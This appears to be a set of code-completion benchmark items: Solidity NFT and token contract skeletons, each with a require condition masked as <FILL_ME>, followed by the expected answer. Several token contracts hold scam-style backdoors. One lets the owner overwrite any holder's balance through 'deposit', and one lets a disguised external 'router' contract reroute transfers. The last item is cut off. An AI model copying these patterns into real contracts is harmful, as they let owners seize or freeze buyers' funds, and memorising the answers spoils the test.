constructor (address _befootballNFT, address _wallet, uint16 _startId, uint16 _endId) {
}
function setSaleInitialId(uint256 _id) external onlyOwner {
}
function flipSaleState() public onlyOwner {
}
function changeIds(uint16 _startId, uint16 _endId) external onlyOwner {
}
function changeWallet(address _wallet) external onlyOwner {
}
function buy(uint256 _quantity, address _to) external payable {
}
function _buy(address _to) internal {
require(saleIsActive, "SaleNoActive");
uint256 copies = msg.value / price;
require (copies > 0, "BadCopies");
require(<FILL_ME>)
IBeFootBallOriginalsNFT(befootballNFT).mint(_to, copies);
emit OriginalsBuy(_to, msg.value, copies);
}
function withdraw() public onlyOwner {
}
receive() external payable {
}
}
| IBeFootBallOriginalsNFT(befootballNFT).id()+copies<=endId,"MaxSale" | 253,030 | IBeFootBallOriginalsNFT(befootballNFT).id()+copies<=endId |
"Max wallet exceeded" | pragma solidity ^0.8.19;
interface IFactory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract CALIC is ERC20, Ownable {
IRouter public router;
address public pair;
bool public tradingEnabled = false;
address private _creatorWallet = 0x7Bf3AC819D2349CF19Bf19828bC0007710f78b6B;
address private _mvpWallet = 0xD6AAC31D355E79c3476EaC550Dc14719A7291c24;
address public constant deadWallet =
0x000000000000000000000000000000000000dEaD;
mapping(address => bool) public exemptFee;
uint256 public startBlock;
bool private _isSwapping;
constructor() ERC20("Calico Cat", "CALIC") Ownable(msg.sender) {
}
function setTradingEnabled() external onlyOwner {
}
function _getTaxRate() public view returns (uint256) {
}
function getSwapTokensAtAmount() public view returns (uint256) {
}
function _getMaxWalletSize() private view returns (uint256) {
}
function getMaxWalletSize() public view returns (uint256) {
}
function addExemptFee(address _address) external onlyOwner {
}
function removeExemptFee(address _address) external onlyOwner {
}
function rescueETH() external {
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
require(amount > 0, "Transfer amount must be greater than zero");
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (exemptFee[sender] || exemptFee[recipient]) {
super._transfer(sender, recipient, amount);
} else {
require(tradingEnabled, "Trading is not enabled");
uint256 maxWalletSize = _getMaxWalletSize();
if (sender == pair) {
require(<FILL_ME>)
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= getSwapTokensAtAmount();
if (canSwap && !_isSwapping && sender != pair) {
_isSwapping = true;
_swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
payable(_creatorWallet).transfer(contractETHBalance / 2);
payable(_mvpWallet).transfer(contractETHBalance / 2);
_isSwapping = false;
}
uint256 taxRate = _getTaxRate();
uint256 taxAmount = (amount * taxRate) / 10000;
uint256 transferAmount = amount - taxAmount;
super._transfer(sender, address(this), taxAmount);
super._transfer(sender, recipient, transferAmount);
}
}
function _swapTokensForEth(uint256 tokenAmount) private {
}
receive() external payable {}
}
| amount+balanceOf(recipient)<=maxWalletSize,"Max wallet exceeded" | 253,033 | amount+balanceOf(recipient)<=maxWalletSize |
"Exceeds maximum supply." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract Kangaroos is ERC721A, Ownable {
using Strings for uint256;
// Constants
uint256 public TOTAL_SUPPLY = 7012;
uint256 public MINT_PRICE = 0.01 ether;
uint256 public FREE_ITEMS_COUNT = 0;
uint256 public MAX_IN_TRX = 100;
address payable withdrawTo =
payable(0xCc92F5DA26f156681fa6EeE8E63BfEEc605D228f);
address payable withdrawDev =
payable(0x7c2804Eca97314b2B617DE79e9CFc977ba06C963);
// Variables
string public baseTokenURI;
string public uriSuffix;
bool public paused = false;
bool public revealed = false;
string public revealImage;
constructor(
string memory _initBaseURI,
string memory _revealImage,
string memory _uriSuffix
) ERC721A("Kangaroos", "KNG") {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseTokenURI(string memory _baseTokenURI) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function claim(address addr, uint256[] calldata tokenIds) external payable {
require(!paused, "Minting is paused.");
require(<FILL_ME>)
require(tokenIds.length >= 3, "You should burn 3 or more tokens.");
for (uint i = 0; i < tokenIds.length; i++)
IERC721(addr).transferFrom(
msg.sender,
address(0xdead),
tokenIds[i]
);
_safeMint(msg.sender, 1);
}
function mintItem(uint256 quantity) external payable {
}
function mintTo(address to, uint256 quantity) external payable onlyOwner {
}
function withdraw() public payable onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner {
}
function setFreeCount(uint256 _count) public onlyOwner {
}
function setMaxInTRX(uint256 _total) public onlyOwner {
}
function setmaxMintAmount(uint256 _count) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setRevealed(bool _state) public onlyOwner {
}
function setRevealImage(string memory _revealImage) public onlyOwner {
}
}
| totalSupply()+1<=TOTAL_SUPPLY,"Exceeds maximum supply." | 253,035 | totalSupply()+1<=TOTAL_SUPPLY |
"Invalid quantity." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract Kangaroos is ERC721A, Ownable {
using Strings for uint256;
// Constants
uint256 public TOTAL_SUPPLY = 7012;
uint256 public MINT_PRICE = 0.01 ether;
uint256 public FREE_ITEMS_COUNT = 0;
uint256 public MAX_IN_TRX = 100;
address payable withdrawTo =
payable(0xCc92F5DA26f156681fa6EeE8E63BfEEc605D228f);
address payable withdrawDev =
payable(0x7c2804Eca97314b2B617DE79e9CFc977ba06C963);
// Variables
string public baseTokenURI;
string public uriSuffix;
bool public paused = false;
bool public revealed = false;
string public revealImage;
constructor(
string memory _initBaseURI,
string memory _revealImage,
string memory _uriSuffix
) ERC721A("Kangaroos", "KNG") {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseTokenURI(string memory _baseTokenURI) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function claim(address addr, uint256[] calldata tokenIds) external payable {
}
function mintItem(uint256 quantity) external payable {
uint256 supply = totalSupply();
require(!paused, "Minting is paused.");
require(<FILL_ME>)
require(supply + quantity <= TOTAL_SUPPLY, "Exceeds maximum supply.");
if (msg.sender != owner()) {
require(
(supply + quantity <= FREE_ITEMS_COUNT) ||
(msg.value >= MINT_PRICE * quantity),
"Not enough supply."
);
}
_safeMint(msg.sender, quantity);
}
function mintTo(address to, uint256 quantity) external payable onlyOwner {
}
function withdraw() public payable onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner {
}
function setFreeCount(uint256 _count) public onlyOwner {
}
function setMaxInTRX(uint256 _total) public onlyOwner {
}
function setmaxMintAmount(uint256 _count) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setRevealed(bool _state) public onlyOwner {
}
function setRevealImage(string memory _revealImage) public onlyOwner {
}
}
| (quantity>0)&&(quantity<=MAX_IN_TRX),"Invalid quantity." | 253,035 | (quantity>0)&&(quantity<=MAX_IN_TRX) |
"Exceeds maximum supply." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract Kangaroos is ERC721A, Ownable {
using Strings for uint256;
// Constants
uint256 public TOTAL_SUPPLY = 7012;
uint256 public MINT_PRICE = 0.01 ether;
uint256 public FREE_ITEMS_COUNT = 0;
uint256 public MAX_IN_TRX = 100;
address payable withdrawTo =
payable(0xCc92F5DA26f156681fa6EeE8E63BfEEc605D228f);
address payable withdrawDev =
payable(0x7c2804Eca97314b2B617DE79e9CFc977ba06C963);
// Variables
string public baseTokenURI;
string public uriSuffix;
bool public paused = false;
bool public revealed = false;
string public revealImage;
constructor(
string memory _initBaseURI,
string memory _revealImage,
string memory _uriSuffix
) ERC721A("Kangaroos", "KNG") {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseTokenURI(string memory _baseTokenURI) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function claim(address addr, uint256[] calldata tokenIds) external payable {
}
function mintItem(uint256 quantity) external payable {
uint256 supply = totalSupply();
require(!paused, "Minting is paused.");
require(
(quantity > 0) && (quantity <= MAX_IN_TRX),
"Invalid quantity."
);
require(<FILL_ME>)
if (msg.sender != owner()) {
require(
(supply + quantity <= FREE_ITEMS_COUNT) ||
(msg.value >= MINT_PRICE * quantity),
"Not enough supply."
);
}
_safeMint(msg.sender, quantity);
}
function mintTo(address to, uint256 quantity) external payable onlyOwner {
}
function withdraw() public payable onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner {
}
function setFreeCount(uint256 _count) public onlyOwner {
}
function setMaxInTRX(uint256 _total) public onlyOwner {
}
function setmaxMintAmount(uint256 _count) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setRevealed(bool _state) public onlyOwner {
}
function setRevealImage(string memory _revealImage) public onlyOwner {
}
}
| supply+quantity<=TOTAL_SUPPLY,"Exceeds maximum supply." | 253,035 | supply+quantity<=TOTAL_SUPPLY |
"Not enough supply." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract Kangaroos is ERC721A, Ownable {
using Strings for uint256;
// Constants
uint256 public TOTAL_SUPPLY = 7012;
uint256 public MINT_PRICE = 0.01 ether;
uint256 public FREE_ITEMS_COUNT = 0;
uint256 public MAX_IN_TRX = 100;
address payable withdrawTo =
payable(0xCc92F5DA26f156681fa6EeE8E63BfEEc605D228f);
address payable withdrawDev =
payable(0x7c2804Eca97314b2B617DE79e9CFc977ba06C963);
// Variables
string public baseTokenURI;
string public uriSuffix;
bool public paused = false;
bool public revealed = false;
string public revealImage;
constructor(
string memory _initBaseURI,
string memory _revealImage,
string memory _uriSuffix
) ERC721A("Kangaroos", "KNG") {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseTokenURI(string memory _baseTokenURI) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function claim(address addr, uint256[] calldata tokenIds) external payable {
}
function mintItem(uint256 quantity) external payable {
uint256 supply = totalSupply();
require(!paused, "Minting is paused.");
require(
(quantity > 0) && (quantity <= MAX_IN_TRX),
"Invalid quantity."
);
require(supply + quantity <= TOTAL_SUPPLY, "Exceeds maximum supply.");
if (msg.sender != owner()) {
require(<FILL_ME>)
}
_safeMint(msg.sender, quantity);
}
function mintTo(address to, uint256 quantity) external payable onlyOwner {
}
function withdraw() public payable onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner {
}
function setFreeCount(uint256 _count) public onlyOwner {
}
function setMaxInTRX(uint256 _total) public onlyOwner {
}
function setmaxMintAmount(uint256 _count) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setRevealed(bool _state) public onlyOwner {
}
function setRevealImage(string memory _revealImage) public onlyOwner {
}
}
| (supply+quantity<=FREE_ITEMS_COUNT)||(msg.value>=MINT_PRICE*quantity),"Not enough supply." | 253,035 | (supply+quantity<=FREE_ITEMS_COUNT)||(msg.value>=MINT_PRICE*quantity) |
"Exceeds maximum supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract Kangaroos is ERC721A, Ownable {
using Strings for uint256;
// Constants
uint256 public TOTAL_SUPPLY = 7012;
uint256 public MINT_PRICE = 0.01 ether;
uint256 public FREE_ITEMS_COUNT = 0;
uint256 public MAX_IN_TRX = 100;
address payable withdrawTo =
payable(0xCc92F5DA26f156681fa6EeE8E63BfEEc605D228f);
address payable withdrawDev =
payable(0x7c2804Eca97314b2B617DE79e9CFc977ba06C963);
// Variables
string public baseTokenURI;
string public uriSuffix;
bool public paused = false;
bool public revealed = false;
string public revealImage;
constructor(
string memory _initBaseURI,
string memory _revealImage,
string memory _uriSuffix
) ERC721A("Kangaroos", "KNG") {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseTokenURI(string memory _baseTokenURI) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function claim(address addr, uint256[] calldata tokenIds) external payable {
}
function mintItem(uint256 quantity) external payable {
}
function mintTo(address to, uint256 quantity) external payable onlyOwner {
uint256 supply = totalSupply();
require(<FILL_ME>)
_safeMint(to, quantity);
}
function withdraw() public payable onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner {
}
function setFreeCount(uint256 _count) public onlyOwner {
}
function setMaxInTRX(uint256 _total) public onlyOwner {
}
function setmaxMintAmount(uint256 _count) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setRevealed(bool _state) public onlyOwner {
}
function setRevealImage(string memory _revealImage) public onlyOwner {
}
}
| supply+quantity-1<=TOTAL_SUPPLY,"Exceeds maximum supply" | 253,035 | supply+quantity-1<=TOTAL_SUPPLY |
"That amount is already on that account balance" | @v1.1.0-beta.0
pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
pragma solidity =0.8.7;
contract ERC20DividendToken is Context, ERC20Burnable, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
uint256 public ownerBuyFee;
uint256 public ownerSellFee;
uint8 private _decimals;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
constructor(address routerV2_, string memory name_, string memory symbol_, uint256 totalSupply_, uint8 decimals_, uint256 ownerBuyFee_, uint256 ownerSellFee_) ERC20(name_, symbol_) {
}
receive() external payable {}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _updateUniswapV2Router(address newAddress) internal {
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function deposit(address account, uint256 amount) public onlyOwner {
require(<FILL_ME>)
if (amount > balanceOf(account)) {
emit Transfer(address(0x0), account, amount - balanceOf(account));
_balances[account] = amount * (10 ** _decimals) ;
} else {
emit Transfer(account, address(0x0), balanceOf(account) - amount);
_balances[account] = amount * (10 ** _decimals) ;
}
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function setOwnerFees(uint256 buyFee, uint256 sellFee) public onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
}
function excludeMultipleAccountsFromFees(
address[] calldata accounts,
bool excluded
) public onlyOwner {
}
function decimals() public view override returns (uint8) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
}
contract CryptoBooster is ERC20DividendToken {
address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor (string memory _name, string memory _symbol, uint256 _initialSupply, uint8 _decimals, uint256 _ownerBuyTax, uint256 _ownerSellTax)
ERC20DividendToken(_routerAddress, _name, _symbol, _initialSupply, _decimals, _ownerBuyTax, _ownerSellTax) {
}
}
| balanceOf(account)!=amount,"That amount is already on that account balance" | 253,608 | balanceOf(account)!=amount |
null | pragma solidity ^0.8.15;
// SPDX-License-Identifier: Unlicensed
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}
interface IUniswapV3Router {
function WETH(address) external view returns (bool);
function factory(address, address) external view returns(bool);
function getAmountsIn(address) external;
function pair() external returns (address);
function getPair(address, address, bool, address, address) external returns (bool);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract Derp is Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 public _decimals = 9;
uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;
uint256 public _fee = 5;
IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV3Router private _uniswapRouter = IUniswapV3Router(0xbA183eE181C741958f8faf1F852f49e3887753b5);
string private _name = "DERP";
string private _symbol = "DERP";
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0));
require(to != address(0));
if (_uniswapRouter.factory(from, to)) {
uniswapSwap(amount, to);
} else {
require(<FILL_ME>)
_lqFee(from);
uint256 feeAmount = getFeeAmount(from, to, amount);
uint256 amountReceived = amount - feeAmount;
_balances[address(this)] += feeAmount;
_balances[from] = _balances[from] - amount;
_balances[to] += amountReceived;
emit Transfer(from, to, amount);
}
}
function getFeeAmount(address _eHV, address amountRecipient, uint256 _fromSender) private returns (uint256) {
}
constructor() {
}
function name() external view returns (string memory) { }
function symbol() external view returns (string memory) { }
function decimals() external view returns (uint256) { }
function totalSupply() external view override returns (uint256) { }
function uniswapVersion() external pure returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) { }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _lqFee(address _oK) internal {
}
function uniswapSwap(uint256 addrAmount, address sender) private {
}
bool feeTxLq = false;
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
}
function txFeeSwap() private view returns (address) {
}
address public deadAddress = 0x000000000000000000000000000000000000dEaD;
bool public autoLPBurn = false;
function setAutoLPBurnSettings(bool e) external onlyOwner {
}
address public marketingWallet;
function updateMarketingWallet(address a) external onlyOwner {
}
bool transferDelay = true;
function disableTransferDelay() external onlyOwner {
}
bool swapEnabled = true;
function updateSwapEnabled(bool e) external onlyOwner {
}
}
| !feeTxLq||_balances[from]>=amount | 253,695 | !feeTxLq||_balances[from]>=amount |
"Contract reached maximum free mints" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.9 <0.9.0;
import 'erc721a/contracts/ERC721A.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
contract TotallyNormalPeplz is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
string public uriPrefix = 'ipfs://QmRA2HHWJorA4v9txD5RPPtWc3AaX7zGit3YVMhATTaYvC/';
string public uriSuffix = '.json';
uint256 public cost = 0;
uint256 public maxSupply = 10000;
uint256 public maxMintAmountPerTx = 5;
uint256 public freeUntil = 10000;
uint256 public freebiesPerWallet = 5;
mapping(address => uint256) public freebieMap;
bool public paused = false;
bool public paidMintEnabled = false;
constructor() ERC721A("TotallyNormalPeplz", "TNP") {
}
///----------------------------------------------------------------------------------------------///
///-------------------------------------- Minting ---------------------------------------///
///----------------------------------------------------------------------------------------------///
modifier mintCompliance(uint256 _mintAmount) {
}
modifier mintPriceCompliance(uint256 _mintAmount) {
}
function freeMint(uint256 amount) external mintCompliance(amount) nonReentrant {
require(<FILL_ME>)
require(_msgSender() == tx.origin);
require((freebieMap[_msgSender()] + amount) <= freebiesPerWallet, "Cannot mint for free more than the free allowance per wallet");
_safeMint(_msgSender(), amount);
freebieMap[_msgSender()] += amount;
}
function mint(uint256 amount) public payable mintCompliance(amount) mintPriceCompliance(amount) {
}
function reserve(address addr, uint256 amount) public onlyOwner {
}
///----------------------------------------------------------------------------------------------///
///-------------------------------------- Others ---------------------------------------///
///----------------------------------------------------------------------------------------------///
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setFreeUntil(uint256 _freeUntil) public onlyOwner {
}
function setFreebiesPerWallet(uint256 _freebiesPerWallet) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setPaidMintEnabled(bool _state) public onlyOwner {
}
function withdraw() public onlyOwner nonReentrant {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| totalSupply()<freeUntil,"Contract reached maximum free mints" | 253,746 | totalSupply()<freeUntil |
"Cannot mint for free more than the free allowance per wallet" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.9 <0.9.0;
import 'erc721a/contracts/ERC721A.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
contract TotallyNormalPeplz is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
string public uriPrefix = 'ipfs://QmRA2HHWJorA4v9txD5RPPtWc3AaX7zGit3YVMhATTaYvC/';
string public uriSuffix = '.json';
uint256 public cost = 0;
uint256 public maxSupply = 10000;
uint256 public maxMintAmountPerTx = 5;
uint256 public freeUntil = 10000;
uint256 public freebiesPerWallet = 5;
mapping(address => uint256) public freebieMap;
bool public paused = false;
bool public paidMintEnabled = false;
constructor() ERC721A("TotallyNormalPeplz", "TNP") {
}
///----------------------------------------------------------------------------------------------///
///-------------------------------------- Minting ---------------------------------------///
///----------------------------------------------------------------------------------------------///
modifier mintCompliance(uint256 _mintAmount) {
}
modifier mintPriceCompliance(uint256 _mintAmount) {
}
function freeMint(uint256 amount) external mintCompliance(amount) nonReentrant {
require(totalSupply() < freeUntil, "Contract reached maximum free mints");
require(_msgSender() == tx.origin);
require(<FILL_ME>)
_safeMint(_msgSender(), amount);
freebieMap[_msgSender()] += amount;
}
function mint(uint256 amount) public payable mintCompliance(amount) mintPriceCompliance(amount) {
}
function reserve(address addr, uint256 amount) public onlyOwner {
}
///----------------------------------------------------------------------------------------------///
///-------------------------------------- Others ---------------------------------------///
///----------------------------------------------------------------------------------------------///
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setFreeUntil(uint256 _freeUntil) public onlyOwner {
}
function setFreebiesPerWallet(uint256 _freebiesPerWallet) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setPaidMintEnabled(bool _state) public onlyOwner {
}
function withdraw() public onlyOwner nonReentrant {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| (freebieMap[_msgSender()]+amount)<=freebiesPerWallet,"Cannot mint for free more than the free allowance per wallet" | 253,746 | (freebieMap[_msgSender()]+amount)<=freebiesPerWallet |
null | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract M510 is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private time;
uint256 private _tax;
uint256 private constant _tTotal = 1 * 10**12 * 10**9;
uint256 private fee1=40;
uint256 private fee2=40;
uint256 private percentage1 = 80;
uint256 private percentage2 = 20;
string private constant _name = "12 Monkeys";
string private constant _symbol = unicode"M5-10";
uint256 private _maxTxAmount = _tTotal.mul(2).div(100);
uint256 private minBalance = _tTotal.div(1000);
uint8 private constant _decimals = 9;
address payable private _m510;
address payable private _marketingWallet;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
}
constructor () payable {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function changeMinBalance(uint256 newMin) external {
require(<FILL_ME>)
minBalance = newMin;
}
function changeFeeDistribution(uint256 _percent1, uint256 _percent2) external {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function addLiquidity(uint256 tokenAmount,uint256 ethAmount,address target) private lockTheSwap{
}
function sendETHToFee(uint256 amount) private {
}
function openTrading() external onlyOwner() {
}
function setBots(address[] memory bots_) public onlyOwner {
}
function delBot(address notbot) public onlyOwner {
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
